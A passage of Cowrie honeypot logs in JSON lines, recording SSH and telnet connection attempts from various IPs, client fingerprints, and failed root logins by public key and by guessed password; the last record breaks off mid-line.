{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:57:da:21:32:9f:e3:74:a8:1b:28:fd:84:9c:ca:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWTFMyK1nrKbXX0pdibaieLb4BvbH+XaO8Mz/aA2zxJWOzdLUwNEMaFxqSRwtlKK0sigyUtYFkGIEaHk5QL7CBZ1PwCNKtXIaTbwUSjBIX/0klyr3rBZMeQ2ohpUTdu7LR15+YaZJ7nY244lIQ7V73lcRJRetFACes0l5KcrejNSk77MTA01SEaoRU2Y9TUEmftr2B2RxrwTiK7wmhIPlPhH9HvUQBhEbm5+CDp+CuwSvkinPcWBoHndr7ToIOnuVBlIZ1mam/vTk/nle6QnLql/RxgkiXWk8Vqa0EzR7cR8csOnh+aJYOEuMtO6Nxkt8KnjZoI6+ioMLvJus73v5j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:57:da:21:32:9f:e3:74:a8:1b:28:fd:84:9c:ca:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:16.660031Z","src_ip":"51.254.17.136","session":"6b2d1d2db33e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:57:da:21:32:9f:e3:74:a8:1b:28:fd:84:9c:ca:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWTFMyK1nrKbXX0pdibaieLb4BvbH+XaO8Mz/aA2zxJWOzdLUwNEMaFxqSRwtlKK0sigyUtYFkGIEaHk5QL7CBZ1PwCNKtXIaTbwUSjBIX/0klyr3rBZMeQ2ohpUTdu7LR15+YaZJ7nY244lIQ7V73lcRJRetFACes0l5KcrejNSk77MTA01SEaoRU2Y9TUEmftr2B2RxrwTiK7wmhIPlPhH9HvUQBhEbm5+CDp+CuwSvkinPcWBoHndr7ToIOnuVBlIZ1mam/vTk/nle6QnLql/RxgkiXWk8Vqa0EzR7cR8csOnh+aJYOEuMtO6Nxkt8KnjZoI6+ioMLvJus73v5j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:16.666152Z","src_ip":"51.254.17.136","session":"6b2d1d2db33e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:1b:9c:85:09:40:b5:06:ad:05:9a:bc:0b:e3:ba:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1UE0kr99L2og8GTc+OyoSuBB6os7xcz7J1aLmLCQbguyVbVRbh4o9QaSatwRX7V9fGk0jeHTubhN6/l3uOgis699lSZliRFvmPF2Ezhv9NBOsEivw0ayGUmYLsAsOOrTwyVKJof/ZLG+qDKkukXeEy8HCGoWDK4Nf7MLIMETRJW1pAqdzgnA1MpaGInS0UplXnmqakvTa9DesD2EzWwGLpUOVvejOFm9jXqZT7+X9gX+GM8wELbdg1+PFtbwA6rgl874XG/a/JdkNOJqz3jinXDzqTyVIbj+mZpYNBurj+iBJTCSum/ohaHhPQ/dLqquJ6l4CCEpvwYtBY17+9XNx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:1b:9c:85:09:40:b5:06:ad:05:9a:bc:0b:e3:ba:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:16.746724Z","src_ip":"51.254.17.136","session":"6b2d1d2db33e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:1b:9c:85:09:40:b5:06:ad:05:9a:bc:0b:e3:ba:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1UE0kr99L2og8GTc+OyoSuBB6os7xcz7J1aLmLCQbguyVbVRbh4o9QaSatwRX7V9fGk0jeHTubhN6/l3uOgis699lSZliRFvmPF2Ezhv9NBOsEivw0ayGUmYLsAsOOrTwyVKJof/ZLG+qDKkukXeEy8HCGoWDK4Nf7MLIMETRJW1pAqdzgnA1MpaGInS0UplXnmqakvTa9DesD2EzWwGLpUOVvejOFm9jXqZT7+X9gX+GM8wELbdg1+PFtbwA6rgl874XG/a/JdkNOJqz3jinXDzqTyVIbj+mZpYNBurj+iBJTCSum/ohaHhPQ/dLqquJ6l4CCEpvwYtBY17+9XNx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:16.750890Z","src_ip":"51.254.17.136","session":"6b2d1d2db33e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:16.831671Z","src_ip":"51.254.17.136","session":"6b2d1d2db33e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:17.880037Z","src_ip":"43.156.237.246","session":"45fb63accd91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51096,"dst_ip":"10.17.0.5","dst_port":23,"session":"d956e791a1a6","protocol":"telnet","message":"New connection: 192.119.13.58:51096 (10.17.0.5:23) [session: d956e791a1a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:23.539995Z"}
{"eventid":"cowrie.session.closed","duration":0.0042116641998291016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:23.544099Z","src_ip":"192.119.13.58","session":"d956e791a1a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":36860,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4737f2174c6","protocol":"ssh","message":"New connection: 80.66.85.226:36860 (159.203.135.109:22) [session: b4737f2174c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:26.333045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:26.355642Z","src_ip":"80.66.85.226","session":"b4737f2174c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:26.427108Z","src_ip":"80.66.85.226","session":"b4737f2174c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"faraon","message":"login attempt [root/faraon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:26.788902Z","src_ip":"80.66.85.226","session":"b4737f2174c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.31.53.170","src_port":59406,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bd42370dad5","protocol":"ssh","message":"New connection: 64.31.53.170:59406 (10.17.0.5:22) [session: 5bd42370dad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:27.392801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:27.400775Z","src_ip":"64.31.53.170","session":"5bd42370dad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:27.411146Z","src_ip":"64.31.53.170","session":"5bd42370dad5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:c7:e3:af:53:5f:eb:31:83:fb:79:b3:6c:09:67:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqnoOM62rbCYc+PaJNENdhBNO8T3u/C1lGM9e8Q9clyWHgTmr/lvmmGWdk8fl7jVXLSKrGaqmLuZW4fJba0XIl31TMMcsnWYj/Kvj+fXGrM1Vm/vNXyNl3RcFc02ZHTvcUhY/RzrSbcHUiTqGXFxG2durZnm2Yoyv6NNzklr3/BICIpAeQszA7mVmQG/Pan/mNlQswgiphCHFnDPqQhJpG5RkcICD+gyJ5iD1NE5E4fvveBHJLygUUl4qlrQQaRIsOuAYwYNijepJvQD35DHLQkW0SFCPYceU+hf75aCT8ZHDfaBf1PEQgQUDlfGqiVuYOzzEjrjrhPjY9euufxKEd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:c7:e3:af:53:5f:eb:31:83:fb:79:b3:6c:09:67:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:27.426081Z","src_ip":"64.31.53.170","session":"5bd42370dad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:c7:e3:af:53:5f:eb:31:83:fb:79:b3:6c:09:67:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqnoOM62rbCYc+PaJNENdhBNO8T3u/C1lGM9e8Q9clyWHgTmr/lvmmGWdk8fl7jVXLSKrGaqmLuZW4fJba0XIl31TMMcsnWYj/Kvj+fXGrM1Vm/vNXyNl3RcFc02ZHTvcUhY/RzrSbcHUiTqGXFxG2durZnm2Yoyv6NNzklr3/BICIpAeQszA7mVmQG/Pan/mNlQswgiphCHFnDPqQhJpG5RkcICD+gyJ5iD1NE5E4fvveBHJLygUUl4qlrQQaRIsOuAYwYNijepJvQD35DHLQkW0SFCPYceU+hf75aCT8ZHDfaBf1PEQgQUDlfGqiVuYOzzEjrjrhPjY9euufxKEd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:27.429663Z","src_ip":"64.31.53.170","session":"5bd42370dad5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:33:e2:09:52:79:67:5d:4c:50:72:9f:8a:fc:c9:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCJK3fnEgFaRrvXTE2GoGUj69afMgesnveezuYUM4lpK05VAonv+IH76TYT0TKisvspy+NFyDNTi/D0ZlqVovY697mXWXCNG7C4WDYXTkcrI354szcJs6SpA4ie9jEKami+02wNKY83ejisOTGv1Epq1CuT2BxNPv2oeU9sJE3eAZegF1LAkOOnfZ6TmJZRDaFq23sK3IPpTe+vO7BjZxHryHVjXA7wa2aOOjvwpiEF60M4bchSmqiw4b2ksbsRP5Q8ODvEdaUxqMlspLIt5hzZcr41IxhlIGDgwXv6gGtrCCznB8Khb1AbH6gTUITG7BOB9/V+yu6XterJp3wQynP3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:33:e2:09:52:79:67:5d:4c:50:72:9f:8a:fc:c9:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:27.436766Z","src_ip":"64.31.53.170","session":"5bd42370dad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:33:e2:09:52:79:67:5d:4c:50:72:9f:8a:fc:c9:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCJK3fnEgFaRrvXTE2GoGUj69afMgesnveezuYUM4lpK05VAonv+IH76TYT0TKisvspy+NFyDNTi/D0ZlqVovY697mXWXCNG7C4WDYXTkcrI354szcJs6SpA4ie9jEKami+02wNKY83ejisOTGv1Epq1CuT2BxNPv2oeU9sJE3eAZegF1LAkOOnfZ6TmJZRDaFq23sK3IPpTe+vO7BjZxHryHVjXA7wa2aOOjvwpiEF60M4bchSmqiw4b2ksbsRP5Q8ODvEdaUxqMlspLIt5hzZcr41IxhlIGDgwXv6gGtrCCznB8Khb1AbH6gTUITG7BOB9/V+yu6XterJp3wQynP3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:27.440220Z","src_ip":"64.31.53.170","session":"5bd42370dad5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:3a:da:eb:20:a5:a3:1e:d3:b6:88:bd:e5:85:2e:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKoTWoHiIE01MAyt48mc6aIDF66uUzQDsEaBmO2rhRroU4BcMaYDisc/1znwngtmaO/Q/whIsqHpt0dZS1jd4R3EjYxz7i0ECeU9G6TYgaMjbJyc5RwZ5lgCIG6ltAY9OLG5kVsRw436wtDvOawAAZ9sgA+DUv7JsnuzKKDyOVGEaGybmWWSzs3rf8X7FrqiWiHvls+El3gaK1hrJOgDLpE9NAeBwj2Yrehx0WKp4HlWYtZB6QxjcvcpJybhuZhetwA43kjl+O1oqXF1kC8yX0eZJv+EFk8adNrh7xzhnss7JWfYorfJIwIEKp7qmhZB7siwCQvPK9l229TM0qWZ6N","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:3a:da:eb:20:a5:a3:1e:d3:b6:88:bd:e5:85:2e:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:27.447999Z","src_ip":"64.31.53.170","session":"5bd42370dad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:3a:da:eb:20:a5:a3:1e:d3:b6:88:bd:e5:85:2e:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKoTWoHiIE01MAyt48mc6aIDF66uUzQDsEaBmO2rhRroU4BcMaYDisc/1znwngtmaO/Q/whIsqHpt0dZS1jd4R3EjYxz7i0ECeU9G6TYgaMjbJyc5RwZ5lgCIG6ltAY9OLG5kVsRw436wtDvOawAAZ9sgA+DUv7JsnuzKKDyOVGEaGybmWWSzs3rf8X7FrqiWiHvls+El3gaK1hrJOgDLpE9NAeBwj2Yrehx0WKp4HlWYtZB6QxjcvcpJybhuZhetwA43kjl+O1oqXF1kC8yX0eZJv+EFk8adNrh7xzhnss7JWfYorfJIwIEKp7qmhZB7siwCQvPK9l229TM0qWZ6N","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:27.451460Z","src_ip":"64.31.53.170","session":"5bd42370dad5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:0c:93:b0:12:a3:01:e9:8e:07:5d:c9:25:10:36:ed","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJG74igUQeZwQ4JY+VH9nP7HSlLrV0t+1t52/P2dxym4","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a9:0c:93:b0:12:a3:01:e9:8e:07:5d:c9:25:10:36:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:27.460692Z","src_ip":"64.31.53.170","session":"5bd42370dad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:0c:93:b0:12:a3:01:e9:8e:07:5d:c9:25:10:36:ed","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJG74igUQeZwQ4JY+VH9nP7HSlLrV0t+1t52/P2dxym4","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:27.464248Z","src_ip":"64.31.53.170","session":"5bd42370dad5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:ad:ff:7f:c9:c5:f9:86:0a:09:f8:db:f4:f2:c6:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCprJF0VYMNS2hfVjdWSq03eV8/VlBd2ykLuz8MmVOfuSKpnOQ6jns/XVflWr1ZCxecr9QQMJ+hmbnJwDgOvwT6WNvjzgi6j8vkuX/3VtID2sLbZfcsYoF50By2BsWxRo5RzyKHDDBKUp1gJxAlzApVLK+XTAOfZhHGnZBQpt/S2+qgAnZt+JymKfUHlRUZpqcIW70Npx4JsEGTwBRoQdmi1jTGfVqg7vfDdqtMXpUoGonxBRoX6DMbpIkWinVBAz8rgng+mDUiiQXRvqdZ4IROncfDnz7esVSmnqsp9fqg+JpSUrzzHAeWEfmyzDEJBNMR75wbChVlxQhqhPvInQS9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:ad:ff:7f:c9:c5:f9:86:0a:09:f8:db:f4:f2:c6:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:27.471861Z","src_ip":"64.31.53.170","session":"5bd42370dad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:ad:ff:7f:c9:c5:f9:86:0a:09:f8:db:f4:f2:c6:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCprJF0VYMNS2hfVjdWSq03eV8/VlBd2ykLuz8MmVOfuSKpnOQ6jns/XVflWr1ZCxecr9QQMJ+hmbnJwDgOvwT6WNvjzgi6j8vkuX/3VtID2sLbZfcsYoF50By2BsWxRo5RzyKHDDBKUp1gJxAlzApVLK+XTAOfZhHGnZBQpt/S2+qgAnZt+JymKfUHlRUZpqcIW70Npx4JsEGTwBRoQdmi1jTGfVqg7vfDdqtMXpUoGonxBRoX6DMbpIkWinVBAz8rgng+mDUiiQXRvqdZ4IROncfDnz7esVSmnqsp9fqg+JpSUrzzHAeWEfmyzDEJBNMR75wbChVlxQhqhPvInQS9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:27.475421Z","src_ip":"64.31.53.170","session":"5bd42370dad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:27.482730Z","src_ip":"64.31.53.170","session":"5bd42370dad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:27.884097Z","src_ip":"80.66.85.226","session":"b4737f2174c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":45144,"dst_ip":"159.203.135.109","dst_port":22,"session":"927a7b56f5fb","protocol":"ssh","message":"New connection: 119.28.117.200:45144 (159.203.135.109:22) [session: 927a7b56f5fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:32.496307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:32.499987Z","src_ip":"119.28.117.200","session":"927a7b56f5fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:32.736894Z","src_ip":"119.28.117.200","session":"927a7b56f5fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57526,"dst_ip":"10.17.0.5","dst_port":23,"session":"2653aad3b303","protocol":"telnet","message":"New connection: 192.119.13.58:57526 (10.17.0.5:23) [session: 2653aad3b303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:33.008633Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"chicony","message":"login attempt [root/chicony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:33.720858Z","src_ip":"119.28.117.200","session":"927a7b56f5fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:34.961983Z","src_ip":"119.28.117.200","session":"927a7b56f5fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":38316,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e29e92d52f2","protocol":"ssh","message":"New connection: 207.154.230.149:38316 (159.203.135.109:22) [session: 9e29e92d52f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:50.702553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:50.707734Z","src_ip":"207.154.230.149","session":"9e29e92d52f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512",